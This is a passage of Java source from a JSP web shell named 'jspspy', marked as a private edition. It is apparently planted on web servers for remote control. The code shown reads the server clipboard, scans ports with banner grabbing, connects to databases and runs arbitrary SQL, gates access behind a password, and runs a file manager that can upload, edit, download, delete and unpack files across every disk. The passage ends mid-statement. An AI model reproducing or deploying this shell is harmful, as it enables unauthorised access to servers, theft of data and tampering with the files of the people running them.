1095								+ "  <tr>"
1096								+ "    <td>"
1097								+ "        <h2>System Clipboard &raquo;</h2>"
1098								+ "<p><pre>");
1099				try {
1100					out.println(Util.htmlEncode(Util.getStr(Toolkit
1101							.getDefaultToolkit().getSystemClipboard()
1102							.getContents(DataFlavor.stringFlavor)
1103							.getTransferData(DataFlavor.stringFlavor))));
1104				} catch (Exception ex) {
1105					out.println("ClipBoard is Empty Or Is Not Text Data !");
1106				}
1107				out
1108						.println("</pre>"
1109								+ "          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\"  />"
1110								+ "        </p>" + "      </td>" + "  </tr>"
1111								+ "</table>");
1112			} catch (Exception e) {
1113
1114				throw e;
1115			}
1116		}
1117	}
1118
1119	private static class VPortScanInvoker extends DefaultInvoker {
1120		public void invoke(HttpServletRequest request,
1121				HttpServletResponse response, HttpSession JSession)
1122				throws Exception {
1123			try {
1124				PrintWriter out = response.getWriter();
1125				String ip = request.getParameter("ip");
1126				String ports = request.getParameter("ports");
1127				String timeout = request.getParameter("timeout");
1128				String banner = request.getParameter("banner");
1129				if (Util.isEmpty(ip))
1130					ip = "127.0.0.1";
1131				if (Util.isEmpty(ports))
1132					ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
1133				if (Util.isEmpty(timeout))
1134					timeout = "2";
1135				out
1136						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
1137								+ "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"
1138								+ "<div id=\"YwLB\"><form action=\""
1139								+ SHELL_NAME
1140								+ "\" method=\"post\">"
1141								+ "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"
1142								+ "IP : <input name=\"ip\" type=\"text\" value=\""
1143								+ ip
1144								+ "\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""
1145								+ ports
1146								+ "\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "
1147								+ (!Util.isEmpty(banner) ? "checked" : "")
1148								+ " type='checkbox' value='yes' name='banner'/>Banner Timeout  (Second) : <input name=\"timeout\" type=\"text\" value=\""
1149								+ timeout
1150								+ "\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"
1151								+ "</p>"
1152								+ "</form></div>"
1153								+ "</td></tr></table>");
1154			} catch (Exception e) {
1155
1156				throw e;
1157			}
1158		}
1159	}
1160
1161	private static class PortScanInvoker extends DefaultInvoker {
1162		public void invoke(HttpServletRequest request,
1163				HttpServletResponse response, HttpSession JSession)
1164				throws Exception {
1165			try {
1166				PrintWriter out = response.getWriter();
1167				((Invoker) ins.get("vPortScan")).invoke(request, response,
1168						JSession);
1169				out.println("<hr/>");
1170				String ip = request.getParameter("ip");
1171				String ports = request.getParameter("ports");
1172				String timeout = request.getParameter("timeout");
1173				String banner = request.getParameter("banner");
1174				int iTimeout = 0;
1175				if (Util.isEmpty(ip) || Util.isEmpty(ports))
1176					return;
1177				if (!Util.isInteger(timeout)) {
1178					timeout = "2";
1179				}
1180				iTimeout = Integer.parseInt(timeout);
1181				Map rs = new LinkedHashMap();
1182				String[] portArr = ports.split(",");
1183				for (int i = 0; i < portArr.length; i++) {
1184					String port = portArr[i];
1185					BufferedReader r = null;
1186					try {
1187						Socket s = new Socket();
1188						s.connect(new InetSocketAddress(ip, Integer
1189								.parseInt(port)), iTimeout);
1190						s.setSoTimeout(iTimeout);
1191						if (!Util.isEmpty(banner)) {
1192							r = new BufferedReader(new InputStreamReader(s
1193									.getInputStream()));
1194							StringBuffer sb = new StringBuffer();
1195							String b = r.readLine();
1196							while (b != null) {
1197								sb.append(b + " ");
1198								try {
1199									b = r.readLine();
1200								} catch (Exception e) {
1201									break;
1202								}
1203							}
1204							rs.put(port,
1205									"Open <span style=\"color:grey;font-weight:normal\">"
1206											+ sb.toString() + "</span>");
1207							r.close();
1208						} else {
1209							rs.put(port, "Open");
1210						}
1211						s.close();
1212					} catch (Exception e) {
1213						if (e.toString().toLowerCase()
1214								.indexOf("read timed out") != -1) {
1215							rs
1216									.put(
1217											port,
1218											"Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
1219							if (r != null)
1220								r.close();
1221						} else {
1222							rs.put(port, "Close");
1223						}
1224					}
1225				}
1226				out.println("<div style='margin:10px'>");
1227				Set entrySet = rs.entrySet();
1228				Iterator it = entrySet.iterator();
1229				while (it.hasNext()) {
1230					Map.Entry e = (Map.Entry) it.next();
1231					String port = (String) e.getKey();
1232					String value = (String) e.getValue();
1233					out.println(ip + " : " + port
1234							+ " ................................. <font color="
1235							+ (value.equals("Close") ? "red" : "green")
1236							+ "><b>" + value + "</b></font><br>");
1237				}
1238				out.println("</div>");
1239			} catch (Exception e) {
1240
1241				throw e;
1242			}
1243		}
1244	}
1245
1246	private static class VConnInvoker extends DefaultInvoker {
1247		public void invoke(HttpServletRequest request,
1248				HttpServletResponse response, HttpSession JSession)
1249				throws Exception {
1250			try {
1251				PrintWriter out = response.getWriter();
1252				Object obj = JSession.getAttribute(DBO);
1253				if (obj == null || !((DBOperator) obj).isValid()) {
1254					out
1255							.println("  <script type=\"text/javascript\">"
1256									+ "	function changeurldriver(){"
1257									+ "		var form = document.forms[\"form1\"];"
1258									+ "		var v = form.elements[\"db\"].value;"
1259									+ "		form.elements[\"url\"].value = v.split(\"`\")[1];"
1260									+ "		form.elements[\"driver\"].value = v.split(\"`\")[0];"
1261									+ "		form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"
1262									+ "	}" + "  </script>");
1263					out
1264							.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
1265									+ "<form name=\"form1\" id=\"form1\" action=\""
1266									+ SHELL_NAME
1267									+ "\" method=\"post\" >"
1268									+ "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"
1269									+ "<h2>DataBase Manager &raquo;</h2>"
1270									+ "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"
1271									+ "<p>"
1272									+ "Driver:"
1273									+ "  <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\"  />"
1274									+ "URL:"
1275									+ "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"
1276									+ "UID:"
1277									+ "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"
1278									+ "PWD:"
1279									+ "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"
1280									+ "DataBase:"
1281									+ " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"
1282									+ " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"
1283									+ " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"
1284									+ " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"
1285									+ " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"
1286									+ " <option value=' ` '>Other</option>"
1287									+ " </select>"
1288									+ "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"
1289									+ "</p>"
1290									+ "</form></table><script>changeurldriver()</script>");
1291				} else {
1292					((Invoker) ins.get("dbc")).invoke(request, response,
1293							JSession);
1294				}
1295			} catch (ClassCastException e) {
1296				throw e;
1297			} catch (Exception e) {
1298
1299				throw e;
1300			}
1301		}
1302	}
1303
1304	//DBConnect
1305	private static class DbcInvoker extends DefaultInvoker {
1306		public void invoke(HttpServletRequest request,
1307				HttpServletResponse response, HttpSession JSession)
1308				throws Exception {
1309			try {
1310				PrintWriter out = response.getWriter();
1311				String driver = request.getParameter("driver");
1312				String url = request.getParameter("url");
1313				String uid = request.getParameter("uid");
1314				String pwd = request.getParameter("pwd");
1315				String sql = request.getParameter("sql");
1316				String selectDb = request.getParameter("selectDb");
1317				if (selectDb == null)
1318					selectDb = JSession.getAttribute("selectDb").toString();
1319				else
1320					JSession.setAttribute("selectDb", selectDb);
1321				Object dbo = JSession.getAttribute(DBO);
1322				if (dbo == null || !((DBOperator) dbo).isValid()) {
1323					if (dbo != null)
1324						((DBOperator) dbo).close();
1325					dbo = new DBOperator(driver, url, uid, pwd, true);
1326				} else {
1327					if (!Util.isEmpty(driver) && !Util.isEmpty(url)
1328							&& !Util.isEmpty(uid)) {
1329						DBOperator oldDbo = (DBOperator) dbo;
1330						dbo = new DBOperator(driver, url, uid, pwd);
1331						if (!oldDbo.equals(dbo)) {
1332							((DBOperator) oldDbo).close();
1333							((DBOperator) dbo).connect();
1334						} else {
1335							dbo = oldDbo;
1336						}
1337					}
1338				}
1339				DBOperator Ddbo = (DBOperator) dbo;
1340				JSession.setAttribute(DBO, Ddbo);
1341				if (!Util.isEmpty(request.getParameter("type"))
1342						&& request.getParameter("type").equals("switch")) {
1343					Ddbo.getConn().setCatalog(request.getParameter("catalog"));
1344				}
1345				Util.outMsg(out, "Connect To DataBase Success!");
1346				out
1347						.println("  <script type=\"text/javascript\">"
1348								+ "	function changeurldriver(selectDb){"
1349								+ "		var form = document.forms[\"form1\"];"
1350								+ "		if (selectDb){"
1351								+ "			form.elements[\"db\"].selectedIndex = selectDb"
1352								+ "		}"
1353								+ "		var v = form.elements[\"db\"].value;"
1354								+ "		form.elements[\"url\"].value = v.split(\"`\")[1];"
1355								+ "		form.elements[\"driver\"].value = v.split(\"`\")[0];"
1356								+ "		form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"
1357								+ "	}" + "  </script>");
1358				out
1359						.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
1360								+ "<form name=\"form1\" id=\"form1\" action=\""
1361								+ SHELL_NAME
1362								+ "\" method=\"post\" >"
1363								+ "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""
1364								+ selectDb
1365								+ "\">"
1366								+ "<h2>DataBase Manager &raquo;</h2>"
1367								+ "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"
1368								+ "<p>"
1369								+ "Driver:"
1370								+ "  <input class=\"input\" name=\"driver\" value=\""
1371								+ Ddbo.driver
1372								+ "\" id=\"driver\" type=\"text\" size=\"35\"  />"
1373								+ "URL:"
1374								+ "<input class=\"input\" name=\"url\" value=\""
1375								+ Ddbo.url
1376								+ "\" id=\"url\" value=\"\" type=\"text\" size=\"90\"  />"
1377								+ "UID:"
1378								+ "<input class=\"input\" name=\"uid\" value=\""
1379								+ Ddbo.uid
1380								+ "\" id=\"uid\" value=\"\" type=\"text\" size=\"10\"  />"
1381								+ "PWD:"
1382								+ "<input class=\"input\" name=\"pwd\" value=\""
1383								+ Ddbo.pwd
1384								+ "\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\"  />"
1385								+ "DataBase:"
1386								+ " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"
1387								+ " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"
1388								+ " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"
1389								+ " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"
1390								+ " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"
1391								+ " <option value=' ` '>Other</option>"
1392								+ " </select>"
1393								+ "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\"  />"
1394								+ "</p>"
1395								+ "</form><script>changeurldriver('"
1396								+ selectDb + "')</script>");
1397				DatabaseMetaData meta = Ddbo.getConn().getMetaData();
1398				out
1399						.println("<form action=\""
1400								+ SHELL_NAME
1401								+ "\" method=\"POST\">"
1402								+ "<p><input type=\"hidden\" name=\"selectDb\" value=\""
1403								+ selectDb
1404								+ "\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"
1405								+ meta.getDatabaseProductName()
1406								+ " , "
1407								+ meta.getDatabaseProductVersion()
1408								+ "</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"
1409								+ meta.getURL()
1410								+ "</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"
1411								+ Ddbo.getConn().getCatalog()
1412								+ "</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"
1413								+ meta.getUserName()
1414								+ "</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
1415				out
1416						.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
1417				out
1418						.println("<option value='0'>-- Select a DataBase --</option>");
1419				ResultSet dbs = meta.getCatalogs();
1420				try {
1421					while (dbs.next()) {
1422						out.println("<option value='" + dbs.getString(1) + "'>"
1423								+ dbs.getString(1) + "</option>");
1424					}
1425				} catch (Exception ex) {
1426				}
1427				dbs.close();
1428				out
1429						.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"
1430								+ Util.htmlEncode(Util.getStr(sql))
1431								+ "</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
1432				if (Util.isEmpty(sql)) {
1433					String type = request.getParameter("type");
1434					if (Util.isEmpty(type) || type.equals("switch")) {
1435						ResultSet tbs = meta.getTables(null, null, null, null);
1436						out.println(Table.rs2Table(tbs, meta
1437								.getIdentifierQuoteString(), true));
1438						tbs.close();
1439					} else if (type.equals("struct")) {
1440						String tb = request.getParameter("table");
1441						if (Util.isEmpty(tb))
1442							return;
1443						ResultSet t = meta.getColumns(null, null, tb, null);
1444						out.println(Table.rs2Table(t, "", false));
1445						t.close();
1446					}
1447				}
1448			} catch (Exception e) {
1449				JSession
1450						.setAttribute(
1451								MSG,
1452								"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"
1453										+ BACK_HREF);
1454				throw e;
1455			}
1456		}
1457	}
1458
1459	private static class ExecuteSQLInvoker extends DefaultInvoker {
1460		public void invoke(HttpServletRequest request,
1461				HttpServletResponse response, HttpSession JSession)
1462				throws Exception {
1463			try {
1464				PrintWriter out = response.getWriter();
1465				String sql = request.getParameter("sql");
1466				String db = request.getParameter("selectDb");
1467				Object dbo = JSession.getAttribute(DBO);
1468				if (!Util.isEmpty(sql)) {
1469					if (dbo == null || !((DBOperator) dbo).isValid()) {
1470						((Invoker) ins.get("vConn")).invoke(request, response,
1471								JSession);
1472						return;
1473					} else {
1474						((Invoker) ins.get("dbc")).invoke(request, response,
1475								JSession);
1476						Object obj = ((DBOperator) dbo).execute(sql);
1477						if (obj instanceof ResultSet) {
1478							ResultSet rs = (ResultSet) obj;
1479							ResultSetMetaData meta = rs.getMetaData();
1480							int colCount = meta.getColumnCount();
1481							out
1482									.println("<b style=\"margin-left:15px\">Query#0 : "
1483											+ Util.htmlEncode(sql)
1484											+ "</b><br/><br/>");
1485							out
1486									.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
1487							for (int i = 1; i <= colCount; i++) {
1488								out.println("<td nowrap>"
1489										+ meta.getColumnName(i) + "<br><span>"
1490										+ meta.getColumnTypeName(i)
1491										+ "</span></td>");
1492							}
1493							out.println("</tr>");
1494							Table tb = new Table();
1495							while (rs.next()) {
1496								Row r = new Row();
1497								for (int i = 1; i <= colCount; i++) {
1498									String v = null;
1499									try {
1500										v = rs.getString(i);
1501									} catch (SQLException ex) {
1502										v = "<<Error!>>";
1503									}
1504									r.addColumn(new Column(v));
1505								}
1506								tb.addRow(r);
1507							}
1508							out.println(tb.toString());
1509							out.println("</table><br/>");
1510							rs.close();
1511							((DBOperator) dbo).closeStmt();
1512						} else {
1513							out
1514									.println("<b style='margin-left:15px'>affected rows : <i>"
1515											+ obj + "</i></b><br/><br/>");
1516						}
1517					}
1518				} else {
1519					((Invoker) ins.get("dbc")).invoke(request, response,
1520							JSession);
1521				}
1522			} catch (Exception e) {
1523
1524				throw e;
1525			}
1526		}
1527	}
1528
1529	private static class VLoginInvoker extends DefaultInvoker {
1530		public boolean doBefore() {
1531			return false;
1532		}
1533
1534		public void invoke(HttpServletRequest request,
1535				HttpServletResponse response, HttpSession JSession)
1536				throws Exception {
1537			try {
1538				PrintWriter out = response.getWriter();
1539				out
1540						.println("<html><head><title>jspspy</title><style type=\"text/css\">"
1541								+ "	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"
1542								+ "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"
1543								+ "	</style></head><body><form method=\"POST\" action=\""
1544								+ SHELL_NAME
1545								+ "\">"
1546								+ "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"
1547								+ "	  <p><span style=\"font:11px Verdana;\">Password: </span>"
1548								+ "        <input name=\"o\" type=\"hidden\" value=\"login\">"
1549								+ "        <input name=\"pw\" type=\"password\" size=\"20\">"
1550								+ "        <input type=\"hidden\" name=\"o\" value=\"login\">"
1551								+ "        <input type=\"submit\" value=\"Login\"><br/>"
1552								+ "<!--<span style=\"font:11px Verdana;\">Copyright &copy; 2010</span>--></p>"
1553								+ "    </form><span style='font-weight:bold;color:red;font-size:12px'></span></body></html>");
1554			} catch (Exception e) {
1555
1556				throw e;
1557			}
1558		}
1559	}
1560
1561	private static class LoginInvoker extends DefaultInvoker {
1562		public boolean doBefore() {
1563			return false;
1564		}
1565
1566		public void invoke(HttpServletRequest request,
1567				HttpServletResponse response, HttpSession JSession)
1568				throws Exception {
1569			try {
1570				String inputPw = request.getParameter("pw");
1571				if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
1572					((Invoker) ins.get("vLogin")).invoke(request, response,
1573							JSession);
1574					return;
1575				} else {
1576					JSession.setAttribute(PW_SESSION_ATTRIBUTE, inputPw);
1577					response.sendRedirect(SHELL_NAME);
1578					return;
1579				}
1580			} catch (Exception e) {
1581
1582				throw e;
1583			}
1584		}
1585	}
1586
1587	private static class MyComparator implements Comparator {
1588		public int compare(Object obj1, Object obj2) {
1589			try {
1590				if (obj1 != null && obj2 != null) {
1591					File f1 = (File) obj1;
1592					File f2 = (File) obj2;
1593					if (f1.isDirectory()) {
1594						if (f2.isDirectory()) {
1595							return f1.getName().compareTo(f2.getName());
1596						} else {
1597							return -1;
1598						}
1599					} else {
1600						if (f2.isDirectory()) {
1601							return 1;
1602						} else {
1603							return f1.getName().toLowerCase().compareTo(
1604									f2.getName().toLowerCase());
1605						}
1606					}
1607				}
1608				return 0;
1609			} catch (Exception e) {
1610				return 0;
1611			}
1612		}
1613	}
1614
1615	private static class FileListInvoker extends DefaultInvoker {
1616		public void invoke(HttpServletRequest request,
1617				HttpServletResponse response, HttpSession JSession)
1618				throws Exception {
1619			try {
1620				String path2View = null;
1621				PrintWriter out = response.getWriter();
1622				String path = request.getParameter("folder");
1623				String outEntry = request.getParameter("outentry");
1624				if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
1625					JSession.removeAttribute(ENTER);
1626					JSession.removeAttribute(ENTER_MSG);
1627					JSession.removeAttribute(ENTER_CURRENT_DIR);
1628				}
1629				Object enter = JSession.getAttribute(ENTER);
1630				File file = null;
1631				if (!Util.isEmpty(enter)) {
1632					if (Util.isEmpty(path)) {
1633						if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
1634							path = "/";
1635						else
1636							path = (String) (JSession
1637									.getAttribute(ENTER_CURRENT_DIR));
1638					}
1639					file = new EnterFile(path);
1640					((EnterFile) file).setZf((String) enter);
1641					JSession.setAttribute(ENTER_CURRENT_DIR, path);
1642				} else {
1643					if (Util.isEmpty(path))
1644						path = JSession.getAttribute(CURRENT_DIR).toString();
1645					JSession.setAttribute(CURRENT_DIR, Util.convertPath(path));
1646					file = new File(path);
1647				}
1648				path2View = Util.convertPath(path);
1649				if (!file.exists()) {
1650					throw new Exception(path + "Dont Exists !");
1651				}
1652				File[] list = file.listFiles();
1653				Arrays.sort(list, new MyComparator());
1654				out.println("<div style='margin:10px'>");
1655				String cr = null;
1656				try {
1657					cr = JSession.getAttribute(CURRENT_DIR).toString()
1658							.substring(0, 3);
1659				} catch (Exception e) {
1660					cr = "/";
1661				}
1662				File currentRoot = new File(cr);
1663				out.println("<h2>File Manager - Current disk &quot;"
1664						+ (cr.indexOf("/") == 0 ? "/" : currentRoot.getPath())
1665						+ "&quot; total (unknow)</h2>");
1666				out
1667						.println("<form action=\""
1668								+ SHELL_NAME
1669								+ "\" method=\"post\">"
1670								+ "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"
1671								+ "  <tr>"
1672								+ "    <td nowrap>Current Directory  <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"
1673								+ "	<td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""
1674								+ path2View
1675								+ "\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"
1676								+ "    <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"
1677								+ "  </tr>" + "</table>" + "</form>");
1678				out
1679						.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"
1680								+ "<form action=\""
1681								+ SHELL_NAME
1682								+ "?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"
1683								+ "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "
1684								+ (enter == null ? "type=\"submit\""
1685										: "type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")
1686								+ " /></div>"
1687								+ "<a href=\"javascript:new fso({path:'"
1688								+ Util.convertPath(WEB_ROOT)
1689								+ "'}).subdir('true')\">Web Root</a>"
1690								+ " | <a href=\"javascript:new fso({path:'"
1691								+ Util.convertPath(SHELL_DIR)
1692								+ "'}).subdir('true')\">Shell Directory</a>"
1693								+ " | <a href=\"javascript:"
1694								+ (enter == null ? "new fso({}).mkdir()"
1695										: "alert('You Are In File Now ! Can Not Create Directory ! ')")
1696								+ "\">New Directory</a> | <a href=\"javascript:"
1697								+ (enter == null ? "new fso({}).createFile()"
1698										: "alert('You Are In File Now ! Can Not Create File !')")
1699								+ "\">New File</a>" + " | ");
1700				File[] roots = file.listRoots();
1701				for (int i = 0; i < roots.length; i++) {
1702					File r = roots[i];
1703					out.println("<a href=\"javascript:new fso({path:'"
1704							+ Util.convertPath(r.getPath())
1705							+ "'}).subdir('true');\">Disk("
1706							+ Util.convertPath(r.getPath()) + ")</a>");
1707					if (i != roots.length - 1) {
1708						out.println("|");
1709					}
1710				}
1711				out.println("</td>" + "</tr></form>"
1712						+ "<tr class=\"head\"><td>&nbsp;</td>"
1713						+ "  <td>Name</td>"
1714						+ "  <td width=\"16%\">Last Modified</td>"
1715						+ "  <td width=\"10%\">Size</td>"
1716						+ "  <td width=\"20%\">Read/Write/Execute</td>"
1717						+ "  <td width=\"22%\">&nbsp;</td>" + "</tr>");
1718				if (file.getParent() != null) {
1719					out
1720							.println("<tr class=alt1>"
1721									+ "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"
1722									+ "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"
1723									+ Util.convertPath(file.getAbsolutePath())
1724									+ "'}).parent()\">Goto Parent</a></td>"
1725									+ "</tr>");
1726				}
1727				int dircount = 0;
1728				int filecount = 0;
1729				for (int i = 0; i < list.length; i++) {
1730					File f = list[i];
1731					if (f.isDirectory()) {
1732						dircount++;
1733						out
1734								.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"
1735										+ "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"
1736										+ "<td><a href=\"javascript:new fso({path:'"
1737										+ Util.convertPath(f.getAbsolutePath())
1738										+ "'}).subdir()\">"
1739										+ f.getName()
1740										+ "</a></td>"
1741										+ "<td nowrap>"
1742										+ Util.formatDate(f.lastModified())
1743										+ "</td>"
1744										+ "<td nowrap>--</td>"
1745										+ "<td nowrap>"
1746										+ f.canRead()
1747										+ " / "
1748										+ f.canWrite()
1749										+ " / unknow</td>"
1750										+ "<td nowrap>");
1751						if (enter != null)
1752							out.println("&nbsp;");
1753						else
1754							out
1755									.println("<a href=\"javascript:new fso({path:'"
1756											+ Util.convertPath(f
1757													.getAbsolutePath())
1758											+ "',filename:'"
1759											+ f.getName()
1760											+ "'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"
1761											+ Util.convertPath(f
1762													.getAbsolutePath())
1763											+ "'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"
1764											+ Util.convertPath(f
1765													.getAbsolutePath())
1766											+ "',filename:'"
1767											+ f.getName()
1768											+ "'}).pack(true)\">Pack</a>");
1769						out.println("</td></tr>");
1770					} else {
1771						filecount++;
1772						out
1773								.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"
1774										+ "<td width=\"2%\" nowrap><input type='checkbox' value='"
1775										+ f.getName()
1776										+ "'/></td>"
1777										+ "<td><a href=\"javascript:new fso({path:'"
1778										+ Util.convertPath(f.getAbsolutePath())
1779										+ "'}).down()\">"
1780										+ f.getName()
1781										+ "</a></td>"
1782										+ "<td nowrap>"
1783										+ Util.formatDate(f.lastModified())
1784										+ "</td>"
1785										+ "<td nowrap>"
1786										+ Util.getSize(f.length(), 'B')
1787										+ "</td>"
1788										+ "<td nowrap>"
1789										+ ""
1790										+ f.canRead()
1791										+ " / "
1792										+ f.canWrite()
1793										+ " / unknow </td>"
1794										+ "<td nowrap>"
1795										+ "<a href=\"javascript:new fso({path:'"
1796										+ Util.convertPath(f.getAbsolutePath())
1797										+ "'}).vEdit()\">Edit</a> | "
1798										+ "<a href=\"javascript:new fso({path:'"
1799										+ Util.convertPath(f.getAbsolutePath())
1800										+ "'}).down()\">Down</a> | "
1801										+ "<a href=\"javascript:new fso({path:'"
1802										+ Util.convertPath(f.getAbsolutePath())
1803										+ "'}).copy()\">Copy</a>");
1804						if (enter == null) {
1805							out
1806									.println(" | <a href=\"javascript:new fso({path:'"
1807											+ Util.convertPath(f
1808													.getAbsolutePath())
1809											+ "'}).move()\">Move</a> | "
1810											+ "<a href=\"javascript:new fso({path:'"
1811											+ Util.convertPath(f
1812													.getAbsolutePath())
1813											+ "'}).vEditProperty()\">Property</a> | "
1814											+ "<a href=\"javascript:new fso({path:'"
1815											+ Util.convertPath(f
1816													.getAbsolutePath())
1817											+ "'}).enter()\">Enter</a>");
1818							if (f.getName().endsWith(".zip")
1819									|| f.getName().endsWith(".jar")) {
1820								out
1821										.println(" | <a href=\"javascript:new fso({path:'"
1822												+ Util.convertPath(f
1823														.getAbsolutePath())
1824												+ "',filename:'"
1825												+ f.getName()
1826												+ "'}).unpack()\">UnPack</a>");
1827							} else if (f.getName().endsWith(".rar")) {
1828								out
1829										.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
1830							} else {
1831								out
1832										.println(" | <a href=\"javascript:new fso({path:'"
1833												+ Util.convertPath(f
1834														.getAbsolutePath())
1835												+ "',filename:'"
1836												+ f.getName()
1837												+ "'}).pack()\">Pack</a>");
1838							}
1839						}
1840						out.println("</td></tr>");
1841					}
1842				}
1843				out
1844						.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"
1845								+ "  <td>");
1846				if (enter != null)
1847					out
1848							.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
1849				else
1850					out
1851							.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
1852				out.println("</td>" + "  <td colspan=\"4\" align=\"right\">"
1853						+ dircount + " directories / " + filecount
1854						+ " files</td></tr>" + "</table>");
1855				out.println("</div>");
1856				if (file instanceof EnterFile)
1857					((EnterFile) file).close();
1858			} catch (ZipException e) {
1859				JSession.setAttribute(MSG, "\""
1860						+ JSession.getAttribute(ENTER).toString()
1861						+ "\" Is Not a Zip File. Please Exit.");
1862				throw e;
1863			} catch (Exception e) {
1864				JSession.setAttribute(MSG,
